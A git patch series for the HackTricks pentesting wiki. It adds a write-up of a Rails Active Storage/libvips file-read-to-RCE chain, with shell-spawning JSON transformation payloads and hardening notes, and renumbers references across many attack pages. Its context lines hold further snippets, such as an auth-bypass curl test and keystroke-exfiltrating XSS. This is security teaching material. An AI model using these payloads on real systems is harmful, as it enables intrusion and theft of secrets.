From 34336c89407fda8cf16ecb26139bcaac40cde0c1 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 4 Aug 2026 02:20:27 +0000 Subject: [PATCH 1/9] Add content from: Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066) --- src/pentesting-web/file-upload/README.md | 50 ++++++++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index e028512859e..6801abc1c71 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -623,6 +623,52 @@ Content-Type: application/json Backend copies `file.filepath`, so the response returns that path’s content. Common chain: read `/proc/self/environ` to learn `$HOME`, then `$HOME/.n8n/config` for keys and `$HOME/.n8n/database.sqlite` for user identifiers. + +### Ruby on Rails Active Storage + libvips parser confusion → arbitrary file read + +A useful upload pattern to test is: **the application stores an attacker-controlled MIME type before inspecting bytes, then a later image-processing step trusts that metadata and lets a backend parser sniff the real format**. + +In **Rails Active Storage direct uploads**, the blob record can be created with attacker-controlled `content_type` **before** the file is inspected. If later code only checks whether the stored type is inside the image allowlist (for example `image/png`), a non-image file can still reach the variant/analyzer pipeline. + +Useful checks: + +- **Pre-upload metadata trust:** Can you create the upload/blob/database record first and persist `content_type=image/png` (or another transformable type) without server-side MIME re-identification? +- **Independently signed processing tokens:** If the app verifies a blob/object identifier and a processing token separately, test whether a legitimate token from one object can be replayed against a malicious upload. +- **Backend parser disagreement:** Compare the outer file sniffer with the deeper parser. A short magic-byte check in layer 1 plus version/offset-based parsing in layer 2 is a strong **polyglot/parser-confusion** candidate. + +One practical Rails chain abused `image_processing` + `vips` leaving loader selection to libvips. libvips `matload` only checked bytes `0-9` for `MATLAB 5.0`, while libmatio selected **MAT 7.3** from bytes `124-125`. A crafted file could therefore: + +- start with `MATLAB 5.0` to satisfy libvips, +- set bytes `124-127` to a valid MAT 7.3 version/endian marker, +- place a real HDF5 superblock after a **512-byte userblock**, +- and use **HDF5 external dataset storage** to read bytes from an attacker-chosen path and offset. + +This turns the image processor into an **arbitrary file-read oracle**. Good targets are `/proc/self/environ`, `config/master.key`, encrypted credentials, or other files readable by the web worker. If the application returns the generated image, file bytes may come back as pixels; if not, analyzer metadata can still become a lower-bandwidth exfil channel. + +Related pages: +- [Ruby Tricks](../../network-services-pentesting/pentesting-web/ruby-tricks.md) +- [ImageMagick Security](../../network-services-pentesting/pentesting-web/imagemagick-security.md) + +### From file read to signed-operation abuse + +Once you can read application secrets, validate candidate signing material against a genuine signed value from the app (for Rails, a real signed blob/token is ideal). If the image-processing pipeline later applies attacker-influenced transformation names with dynamic dispatch such as `public_send(name, *argument)`, recovered signing authority may become RCE. + +Example JSON-compatible transformation shapes: + +```json +{"send":["spawn","/bin/sh","-c","id"]} +{"send":["eval","File.write('/tmp/kr2s', %x{id})"]} +``` + +Even if the HTTP response returns `500`, the payload may already have executed while the processing chain was being built. + +### Detection / hardening notes + +- Flag files whose first bytes claim `MATLAB 5.0` but whose bytes `124-127` carry a **MAT 7.3** version/endian tag. +- Re-identify MIME types **server-side after upload**, not only from pre-upload metadata. +- Bind signed processing options to the specific blob/object they are meant for. +- For libvips-backed processing of untrusted uploads, block operations marked untrusted (for example via `Vips.block_untrusted(true)`). + ## References - [n8n form upload Content-Type confusion → arbitrary file read PoC](https://github.com/Chocapikk/CVE-2026-21858) @@ -646,5 +692,9 @@ Backend copies `file.filepath`, so the response returns that path’s content. C - [0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)](https://0xdf.gitlab.io/2025/10/04/htb-certificate.html) - [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/) - [HackerOne report 3712279 – Burp Suite Professional browser-powered crawler file input path traversal leading to arbitrary file write and delayed code execution](https://hackerone.com/reports/3712279) +- [Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)](https://rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066) +- [Rails security advisory GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm) +- [rails/rails#56995 – Active Storage Vips transformation validation discussion](https://github.com/rails/rails/pull/56995) +- [Rapid7 Metasploit module: rails_activestorage_vips_rce](https://github.com/rapid7/metasploit-framework/pull/21733) {{#include ../../banners/hacktricks-training.md}} From cc05ee2e412a6bb66cfa262055e591960e52bd31 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 11:09:44 +0200 Subject: [PATCH 2/9] References audit: numbered citations for 50 pages Audits the '## References' of these pages: merges duplicated reference sections into one, numbers every entry, adds the linked [[N]](#references) citations to the content each reference is the source of, drops unused references and credits the original research. Co-Authored-By: Claude Opus 5 (1M context) --- .../pentesting-web/spring-actuators.md | 7 +- .../pentesting-web/symphony.md | 9 ++- ...-ajax-unsafe-reflection-webresource-axd.md | 4 +- .../pentesting-web/tomcat/README.md | 8 +- .../pentesting-web/uncovering-cloudflare.md | 2 +- .../pentesting-web/vmware-esx-vcenter....md | 1 - .../pentesting-web/vuejs.md | 6 +- .../pentesting-web/web-api-pentesting.md | 2 +- .../pentesting-web/werkzeug.md | 1 - src/pentesting-web/account-takeover.md | 70 +++++++++-------- .../browext-clickjacking.md | 18 ++--- ...rowext-permissions-and-host_permissions.md | 78 +++++++++---------- .../browext-xss-example.md | 29 ++++--- .../client-side-template-injection-csti.md | 18 +++-- src/pentesting-web/command-injection.md | 41 +++++----- ...ypass-self-+-unsafe-inline-with-iframes.md | 8 +- src/pentesting-web/cors-bypass.md | 71 +++++++++-------- src/pentesting-web/crlf-0d-0a.md | 43 +++++----- .../csrf-cross-site-request-forgery.md | 59 +++++++------- .../README.md | 23 +++--- .../ss-leaks.md | 7 +- src/pentesting-web/dependency-confusion.md | 47 ++++++----- ...er-gadgets-expandedwrapper-and-json.net.md | 32 ++++---- ...ialization-objectinputstream-readobject.md | 17 ++-- ...ploiting-__viewstate-knowing-the-secret.md | 18 ++--- .../exploiting-__viewstate-parameter.md | 32 ++++---- ...ava-dns-deserialization-and-gadgetprobe.md | 25 +++--- ...va-jsf-viewstate-.faces-deserialization.md | 11 ++- ...java-signedobject-gated-deserialization.md | 16 ++-- ...ava-transformers-to-rutime-exec-payload.md | 9 +-- ...g-and-directory-interface-and-log4shell.md | 58 +++++++------- .../livewire-hydration-synthesizer-abuse.md | 34 ++++---- .../README.md | 29 +++---- .../client-side-prototype-pollution.md | 27 ++++--- .../express-prototype-pollution-gadgets.md | 11 +-- .../prototype-pollution-to-rce.md | 27 +++---- .../php-deserialization-+-autoload-classes.md | 25 +++--- .../python-yaml-deserialization.md | 27 +++---- .../deserialization/ruby-_json-pollution.md | 7 +- .../deserialization/ruby-class-pollution.md | 8 +- .../domain-subdomain-takeover.md | 23 +++--- src/pentesting-web/email-injections.md | 28 ++++--- src/pentesting-web/file-inclusion/README.md | 56 ++++++------- ..._stream_prefer_studio-+-path-disclosure.md | 13 ++-- .../lfi2rce-via-eternal-waiting.md | 8 +- .../lfi2rce-via-nginx-temp-files.md | 13 ++-- .../file-inclusion/lfi2rce-via-php-filters.md | 17 ++-- .../file-inclusion/lfi2rce-via-phpinfo.md | 37 +++++---- .../lfi2rce-via-segmentation-fault.md | 8 +- src/pentesting-web/file-upload/README.md | 74 +++++++++--------- 50 files changed, 625 insertions(+), 617 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 61051ccbb99..c29b6154459 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -70,7 +70,7 @@ Connection: close ## HeapDump secrets mining (credentials, tokens, internal URLs) -If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).[[4]](#references) +If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).[[1]](#references)[[4]](#references) - Download and quick triage: ```bash @@ -82,14 +82,14 @@ If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap sna ``` - Deeper analysis with VisualVM and OQL: - - Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets: + - Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:[[2]](#references) ``` select s.toString() from java.lang.String s where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) ``` -- Automated extraction with JDumpSpider: +- Automated extraction with JDumpSpider:[[3]](#references) ```bash java -jar JDumpSpider-*.jar heapdump ``` @@ -136,7 +136,6 @@ Notes: - Reset log levels when done: `POST /actuator/loggers/` with `{ "configuredLevel": null }`. - If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers. - ## References - [1] [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) diff --git a/src/network-services-pentesting/pentesting-web/symphony.md b/src/network-services-pentesting/pentesting-web/symphony.md index 10a319d1459..37dc161a8d2 100644 --- a/src/network-services-pentesting/pentesting-web/symphony.md +++ b/src/network-services-pentesting/pentesting-web/symphony.md @@ -63,18 +63,18 @@ Symfony is one of the most widely-used PHP frameworks and regularly appears in a ### 2. PATH_INFO auth bypass – **CVE-2025-64500** (HttpFoundation) * Affects versions below 5.4.50, 6.4.29 and 7.3.7. Path normalization could drop the leading `/`, breaking access-control rules that assume `/admin` etc. * Quick test: `curl -H 'PATH_INFO: admin/secret' https://target/index.php` → if it reaches admin routes without auth, you found it. -* Patch by upgrading `symfony/http-foundation` or the full framework to the fixed patch level. +* Patch by upgrading `symfony/http-foundation` or the full framework to the fixed patch level.[[5]](#references) ### 3. MSYS2/Git-Bash argument mangling – **CVE-2026-24739** (Process) * Affects versions below 5.4.51, 6.4.33, 7.3.11, 7.4.5 and 8.0.5 on Windows when PHP is run from MSYS2 (Git-Bash, mingw). `Process` fails to quote `=` leading to corrupted paths; destructive commands (`rmdir`, `del`) may target unintended dirs.[[4]](#references) * If you can upload a PHP script or influence Composer/CLI helpers that call `Process`, craft arguments with `=` (e.g. `E:/=tmp/delete`) to cause path re-write. ### 4. Runtime env/argv injection – **CVE-2024-50340** (Runtime) -* When `register_argv_argc=On` and using non-SAPI runtimes, crafted query strings could flip `APP_ENV`/`APP_DEBUG` via `argv` parsing. Patched in 5.4.46/6.4.14/7.1.7. +* When `register_argv_argc=On` and using non-SAPI runtimes, crafted query strings could flip `APP_ENV`/`APP_DEBUG` via `argv` parsing. Patched in 5.4.46/6.4.14/7.1.7.[[6]](#references) * Look for `/?--env=prod` or similar being accepted in logs. ### 5. URL validation / open redirect – **CVE-2024-50345** (HttpFoundation) -* Special characters in the URI were not validated the same way browsers do, enabling redirect to attacker-controlled domains. Fixed in 5.4.46/6.4.14/7.1.7. +* Special characters in the URI were not validated the same way browsers do, enabling redirect to attacker-controlled domains. Fixed in 5.4.46/6.4.14/7.1.7.[[7]](#references) ### 6. Symfony UX attribute injection – **CVE-2025-47946** * `symfony/ux-twig-component` & `symfony/ux-live-component` before **2.25.1** render `{{ attributes }}` without escaping → attribute injection/XSS. If the app lets users define component attributes (admin CMS, email templating) you can chain to script injection.[[3]](#references) @@ -162,5 +162,8 @@ If the rendered output echoes the attribute unescaped, XSS succeeds. Patch to 2. - [2] [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class) - [3] [Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components](https://symfony.com/blog/symfony-ux-cve-2025-47946-unsanitized-html-attribute-injection-via-componentattributes) - [4] [Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash](https://symfony.com/blog/cve-2026-24739-incorrect-argument-escaping-under-msys2-git-bash-on-windows-can-lead-to-destructive-file-operations) +- [5] [Symfony Blog – CVE-2025-64500: Incorrect parsing of PATH_INFO can lead to limited authorization bypass](https://symfony.com/blog/cve-2025-64500-incorrect-parsing-of-path-info-can-lead-to-limited-authorization-bypass) +- [6] [GitHub Security Advisory – CVE-2024-50340: symfony/runtime allows APP_ENV/APP_DEBUG override via crafted argv parsing](https://github.com/symfony/symfony/security/advisories/GHSA-x8vp-gf4q-mw5j) +- [7] [GitHub Security Advisory – CVE-2024-50345: symfony/http-foundation improper URI validation enables open redirect](https://github.com/symfony/symfony/security/advisories/GHSA-mrqx-rp3w-jpjp) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md b/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md index bf915f09cfe..aa34e54c1ed 100644 --- a/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md +++ b/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md @@ -202,8 +202,8 @@ GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../ ## Mitigation -- Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later. -- Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites). +- Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.[[1]](#references) +- Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).[[1]](#references) - Ignore or harden prtype handling server-side (upgrade applies proper checks before instantiation). - Audit and harden custom AppDomain.AssemblyResolve handlers. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists. - Constrain upload/write locations and prevent DLL drops into probed directories. diff --git a/src/network-services-pentesting/pentesting-web/tomcat/README.md b/src/network-services-pentesting/pentesting-web/tomcat/README.md index 912bc452b63..ac87a823cd1 100644 --- a/src/network-services-pentesting/pentesting-web/tomcat/README.md +++ b/src/network-services-pentesting/pentesting-web/tomcat/README.md @@ -76,7 +76,7 @@ In order to access to the management web of the Tomcat go to: `pathTomcat/%252E% ### /examples -Apache Tomcat versions 4.x to 7.x include example scripts that are susceptible to information disclosure and cross-site scripting (XSS) attacks. These scripts, listed comprehensively, should be checked for unauthorized access and potential exploitation. Find [more info here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) +Apache Tomcat versions 4.x to 7.x include example scripts that are susceptible to information disclosure and cross-site scripting (XSS) attacks. These scripts, listed comprehensively, should be checked for unauthorized access and potential exploitation. Find [more info here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)[[1]](#references) - /examples/jsp/num/numguess.jsp - /examples/jsp/dates/date.jsp @@ -260,10 +260,6 @@ Example: ## References -- [1] [Pentest-Tomcat (simran-sankhala)](https://github.com/simran-sankhala/Pentest-Tomcat) -- [2] [Nexpose / Metasploitable sample scan report (HackerTarget)](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) +- [1] [Nexpose / Metasploitable sample scan report (HackerTarget)](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index f194c7f9498..79bd7140fa0 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -134,7 +134,7 @@ This does **not** reveal the origin IP, but it can bypass **hostname-specific** ### Cache -Sometimes you just want to bypass Cloudflare to only scrape the web page. There are some options for this: +Sometimes you just want to bypass Cloudflare to only scrape the web page. There are some options for this:[[3]](#references) - Use Google cache: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog` - Use other cache services such as [https://archive.org/web/](https://archive.org/web/) diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index b21ac4317ef..21a4e1b4509 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Enumeration ```bash diff --git a/src/network-services-pentesting/pentesting-web/vuejs.md b/src/network-services-pentesting/pentesting-web/vuejs.md index 86f9fbd8a07..1debee24e21 100644 --- a/src/network-services-pentesting/pentesting-web/vuejs.md +++ b/src/network-services-pentesting/pentesting-web/vuejs.md @@ -89,7 +89,7 @@ Vue.filter('run', code => eval(code)) // DANGER ## Other Common Vulnerabilities in Vue Projects ### Prototype pollution in plugins -Deep-merge helpers in some plugins (e.g., **vue-i18n**) have allowed attackers to write to `Object.prototype`. +Deep-merge helpers in some plugins (e.g., **vue-i18n**) have allowed attackers to write to `Object.prototype`.[[4]](#references) ```js import merge from 'deepmerge' @@ -128,7 +128,7 @@ Content-Security-Policy: default-src 'self'; script-src 'self'; ``` ### Supply-chain attacks (node-ipc – March 2022) -The sabotage of **node-ipc**—pulled by Vue CLI—showed how a transitive dependency can run arbitrary code on dev machines. Pin versions and audit often. +The sabotage of **node-ipc**—pulled by Vue CLI—showed how a transitive dependency can run arbitrary code on dev machines. Pin versions and audit often.[[5]](#references) ```shell npm ci --ignore-scripts # safer install @@ -150,5 +150,7 @@ npm ci --ignore-scripts # safer install - [1] [Vue XSS Guide: Examples and Prevention](https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/) - [2] [Vue JS Security](https://medium.com/@isaacwangethi30/vue-js-security-6e246a7613da) - [3] [Security | Vue.js](https://vuejs.org/guide/best-practices/security) +- [4] [Vue I18n Allows Prototype Pollution in handleFlatJson (GHSA-p2ph-7g93-hw3m)](https://github.com/advisories/GHSA-p2ph-7g93-hw3m) +- [5] [Alert: peacenotwar module sabotages npm developers in the node-ipc package to protest the invasion of Ukraine](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 1e144244041..6a68587ad8a 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -30,7 +30,7 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th ### Apache CXF MTOM/XOP `xop:Include` as file-read / SSRF primitive -If a SOAP service uses **Apache CXF** with **MTOM/XOP** enabled, test whether a parameter accepts an inline `xop:Include` element inside a **`multipart/related`** request whose root part is **`application/xop+xml`**. Apache's advisory for **CVE-2022-46364** states vulnerable versions parse the `href` of `XOP:Include` in MTOM requests and can perform SSRF-style fetches.[[3]](#references)[[5]](#references) +If a SOAP service uses **Apache CXF** with **MTOM/XOP** enabled, test whether a parameter accepts an inline `xop:Include` element inside a **`multipart/related`** request whose root part is **`application/xop+xml`**. Apache's advisory for **CVE-2022-46364** states vulnerable versions parse the `href` of `XOP:Include` in MTOM requests and can perform SSRF-style fetches.[[3]](#references)[[4]](#references)[[5]](#references) Why this matters in practice: diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index 4067be3cf10..bf3d086d6f9 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -161,7 +161,6 @@ This is because, In Werkzeug it's possible to send some **Unicode** characters a ## Automated Exploitation - {{#ref}} https://github.com/Ruulian/wconsole_extractor {{#endref}} diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md index 405ccf33cf3..56cfc65f7eb 100644 --- a/src/pentesting-web/account-takeover.md +++ b/src/pentesting-web/account-takeover.md @@ -4,15 +4,15 @@ ## **Authorization Issue** -The email of an account should be attempted to be changed, and the confirmation process **must be examined**. If found to be **weak**, the email should be changed to that of the intended victim and then confirmed. +The email of an account should be attempted to be changed, and the confirmation process **must be examined**. If found to be **weak**, the email should be changed to that of the intended victim and then confirmed.[[2]](#references) ## **Unicode Normalization Issue** 1. The account of the intended victim `victim@gmail.com` 2. An account should be created using Unicode\ - for example: `vićtim@gmail.com` + for example: `vićtim@gmail.com`[[2]](#references) -As explained in [**this talk**](https://www.youtube.com/watch?v=CiIyaZ3x49c), the previous attack could also be done abusing third party identity providers: +As explained in [**this talk**](https://www.youtube.com/watch?v=CiIyaZ3x49c), the previous attack could also be done abusing third party identity providers:[[10]](#references) - Create an account in the third party identity with similar email to the victim using some unicode character (`vićtim@company.com`). - The third party provider shouldn't verify the email @@ -42,17 +42,17 @@ unicode-injection/unicode-normalization.md ## **Reusing Reset Token** -Should the target system allow the **reset link** (or an equivalent **magic link**) to be **reused**, efforts should be made to **find more reset links** using tools such as `gau`, `wayback`, or `scan.io`. Also verify whether the artifact still works **after an email change** or when redeemed from a **second browser/device**. +Should the target system allow the **reset link** (or an equivalent **magic link**) to be **reused**, efforts should be made to **find more reset links** using tools such as `gau`, `wayback`, or `scan.io`.[[2]](#references) Also verify whether the artifact still works **after an email change** or when redeemed from a **second browser/device**. ## **Pre Account Takeover** 1. The victim's email should be used to sign up on the platform, and a password should be set (an attempt to confirm it should be made, although lacking access to the victim's emails might render this impossible). 2. One should wait until the victim signs up using OAuth and confirms the account. -3. It is hoped that the regular signup will be confirmed, allowing access to the victim's account. +3. It is hoped that the regular signup will be confirmed, allowing access to the victim's account.[[2]](#references) ## **CORS Misconfiguration to Account Takeover** -If the page contains **CORS misconfigurations** you might be able to **steal sensitive information** from the user to **takeover his account** or make him change auth information for the same purpose: +If the page contains **CORS misconfigurations** you might be able to **steal sensitive information** from the user to **takeover his account** or make him change auth information for the same purpose:[[2]](#references) {{#ref}} @@ -61,7 +61,7 @@ cors-bypass.md ## **Csrf to Account Takeover** -If the page is vulnerable to CSRF you might be able to make the **user modify his password**, email or authentication so you can then access it: +If the page is vulnerable to CSRF you might be able to make the **user modify his password**, email or authentication so you can then access it:[[2]](#references) {{#ref}} @@ -70,18 +70,18 @@ csrf-cross-site-request-forgery.md ## **XSS to Account Takeover** -If you find a XSS in application you might be able to steal cookies, local storage, or info from the web page that could allow you takeover the account: +If you find a XSS in application you might be able to steal cookies, local storage, or info from the web page that could allow you takeover the account:[[2]](#references) {{#ref}} xss-cross-site-scripting/ {{#endref}} -- Attribute-only reflected payloads on login pages can hook `document.onkeypress`, exfiltrate keystrokes through `new Image().src`, and steal credentials without submitting the form. See [Attribute-only login XSS behind WAFs](xss-cross-site-scripting/README.md#attribute-only-login-xss-behind-wafs) for a practical workflow. +- Attribute-only reflected payloads on login pages can hook `document.onkeypress`, exfiltrate keystrokes through `new Image().src`, and steal credentials without submitting the form. See [Attribute-only login XSS behind WAFs](xss-cross-site-scripting/README.md#attribute-only-login-xss-behind-wafs) for a practical workflow.[[1]](#references) ## **Same Origin + Cookies** -If you find a limited XSS or a subdomain take over, you could play with the cookies (fixating them for example) to try to compromise the victim account: +If you find a limited XSS or a subdomain take over, you could play with the cookies (fixating them for example) to try to compromise the victim account:[[2]](#references) {{#ref}} @@ -90,7 +90,7 @@ hacking-with-cookies/ ## **Predictable SSO / bearer cookies and staged login replay** -Some cross-application SSO stacks treat a client-visible cookie as a **bearer secret** and use it directly as the **server-side cache key** for the authenticated identity. If the value is generated from **low-entropy data** such as `System.currentTimeMillis()`, a sequential ID, or an encoded timestamp with no MAC/signature, the attacker only needs to predict the victim's login window and replay candidate values. +Some cross-application SSO stacks treat a client-visible cookie as a **bearer secret** and use it directly as the **server-side cache key** for the authenticated identity. If the value is generated from **low-entropy data** such as `System.currentTimeMillis()`, a sequential ID, or an encoded timestamp with no MAC/signature, the attacker only needs to predict the victim's login window and replay candidate values.[[8]](#references) Quick triage: @@ -117,7 +117,7 @@ Important constraints: - A **rolling throttle** on path + real source IP can make even a 1-second millisecond window (~1,000 candidates) slow to enumerate. Reuse the ideas in [Rate Limit Bypass](rate-limit-bypass.md), but remember that distributing guesses across random IPs will fail if only the victim's IP can produce a hit. - Replacing predictable tokens with UUIDs stops unauthenticated guessing, but a separately stolen live cookie may still replay if the token remains a **pure bearer credential**. For generic cookie abuse patterns see [Cookies Hacking](hacking-with-cookies/README.md). -Safe detection tip: send an **impossible historical token** plus the **mismatched app tag** to a protected path and look for **branch-specific cleanup `Set-Cookie` headers** (forced cookie deletion / logout). That proves the cross-application SSO replay path is reachable without resolving a real victim session, but it does **not** prove the generator is still predictable. +Safe detection tip: send an **impossible historical token** plus the **mismatched app tag** to a protected path and look for **branch-specific cleanup `Set-Cookie` headers** (forced cookie deletion / logout). That proves the cross-application SSO replay path is reachable without resolving a real victim session, but it does **not** prove the generator is still predictable.[[9]](#references) ## **Attacking Password Reset Mechanism** @@ -128,7 +128,7 @@ reset-password.md ## **Magic Links / Passwordless Login** -Passwordless email-login flows deserve the same scrutiny as reset-password flows: +Passwordless email-login flows deserve the same scrutiny as reset-password flows:[[6]](#references) - If the unauthenticated endpoint that creates the magic link accepts attacker-controlled `redirect_url`, `next`, `return_to`, or `callback` parameters, request a link for the victim and make the post-login redirect land on an attacker origin first. - If the confirmation endpoint puts the token or session in the URL, fragment, or a browser-readable response, the attacker-controlled landing page can steal it and then bounce the victim back to the real application. @@ -145,7 +145,7 @@ Content-Type: application/json ``` ## Security-question resets that trust client-supplied usernames -If an "update security questions" flow takes a `username` parameter even though the caller is already authenticated, you can overwrite any account's recovery data (including admins) because the backend typically runs `UPDATE ... WHERE user_name = ?` with your untrusted value. The pattern is: +If an "update security questions" flow takes a `username` parameter even though the caller is already authenticated, you can overwrite any account's recovery data (including admins) because the backend typically runs `UPDATE ... WHERE user_name = ?` with your untrusted value. The pattern is:[[4]](#references) 1. Log in with a throwaway user and capture the session cookie. 2. Submit the victim username plus new answers via the reset form. @@ -162,11 +162,11 @@ username=admin_ef01cab31aa&new_answer1=A&new_answer2=B&new_answer3=C Anything gated by the victim's `$_SESSION` context (admin dashboards, dangerous stream-wrapper features, etc.) is now exposed without touching the real answers. -Enumerated usernames can then be targeted via the overwrite technique above or reused against ancillary services (FTP/SSH password spraying). +Enumerated usernames can then be targeted via the overwrite technique above or reused against ancillary services (FTP/SSH password spraying).[[4]](#references) ## **Response Manipulation** -If the authentication response could be **reduced to a simple boolean just try to change false to true** and see if you get any access. +If the authentication response could be **reduced to a simple boolean just try to change false to true** and see if you get any access.[[2]](#references) ## OAuth to Account takeover @@ -177,7 +177,7 @@ oauth-to-account-takeover.md ## **QR / Cross-Device Login Flows** -Desktop QR login, TV/device-code login, wallet login, and "approve on your phone" flows are now common ATO surfaces. Treat `qrId`, `device_code`, approval handles, and polling session identifiers like password-reset tokens. +Desktop QR login, TV/device-code login, wallet login, and "approve on your phone" flows are now common ATO surfaces. Treat `qrId`, `device_code`, approval handles, and polling session identifiers like password-reset tokens.[[7]](#references) Common weaknesses to test: @@ -194,14 +194,14 @@ Practical workflow: 4. Try parallel polling/races and brute-forcing short QR identifiers. 5. If the platform supports wallet or passkey-based cross-device login, verify whether the handoff is rejected when the QR/device code is stale, already redeemed, or replayed from the wrong context. -From the defender side, current guidance is to require **short-lived one-time codes**, add **request-binding / extra confirmation data**, and where possible **prove device proximity**. +From the defender side, current guidance is to require **short-lived one-time codes**, add **request-binding / extra confirmation data**, and where possible **prove device proximity**.[[7]](#references) ## Host Header Injection 1. The Host header is modified following a password reset request initiation. 2. The `X-Forwarded-For` proxy header is altered to `attacker.com`. 3. The Host, Referrer, and Origin headers are simultaneously changed to `attacker.com`. -4. After initiating a password reset and then opting to resend the mail, all three of the aforementioned methods are employed. +4. After initiating a password reset and then opting to resend the mail, all three of the aforementioned methods are employed.[[2]](#references) ## Response Manipulation @@ -210,11 +210,11 @@ From the defender side, current guidance is to require **short-lived one-time co - The status code is changed to `200 OK`. - The response body is modified to `{"success":true}` or an empty object `{}`. -These manipulation techniques are effective in scenarios where JSON is utilized for data transmission and receipt. +These manipulation techniques are effective in scenarios where JSON is utilized for data transmission and receipt.[[2]](#references) ## Change email of current session -From [this report](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea): +From [this report](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):[[3]](#references) - Attacker requests to change his email with a new one - Attacker receives a link to confirm the change of the email @@ -222,7 +222,7 @@ From [this report](https://dynnyd20.medium.com/one-click-account-take-over-e5009 - The victims email is changed to the one indicated by the attacker - The attack can recover the password and take over the account -This also happened in [**this report**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea). +This also happened in [**this report**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).[[3]](#references) ### Bypass email verification for Account Takeover @@ -233,11 +233,11 @@ This also happened in [**this report**](https://dynnyd20.medium.com/one-click-ac ### Old Cookies As explained [**in this post**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9), it was possible to login into an account, save the cookies as an authenticated user, logout, and then login again.\ -With the new login, although different cookies might be generated the old ones became to work again. +With the new login, although different cookies might be generated the old ones became to work again.[[11]](#references) ### Trusted device cookies + batch API leakage -*Long-lived device identifiers that gate recovery can be stolen when a batch API lets you copy unreadable subresponses into writable sinks.* +*Long-lived device 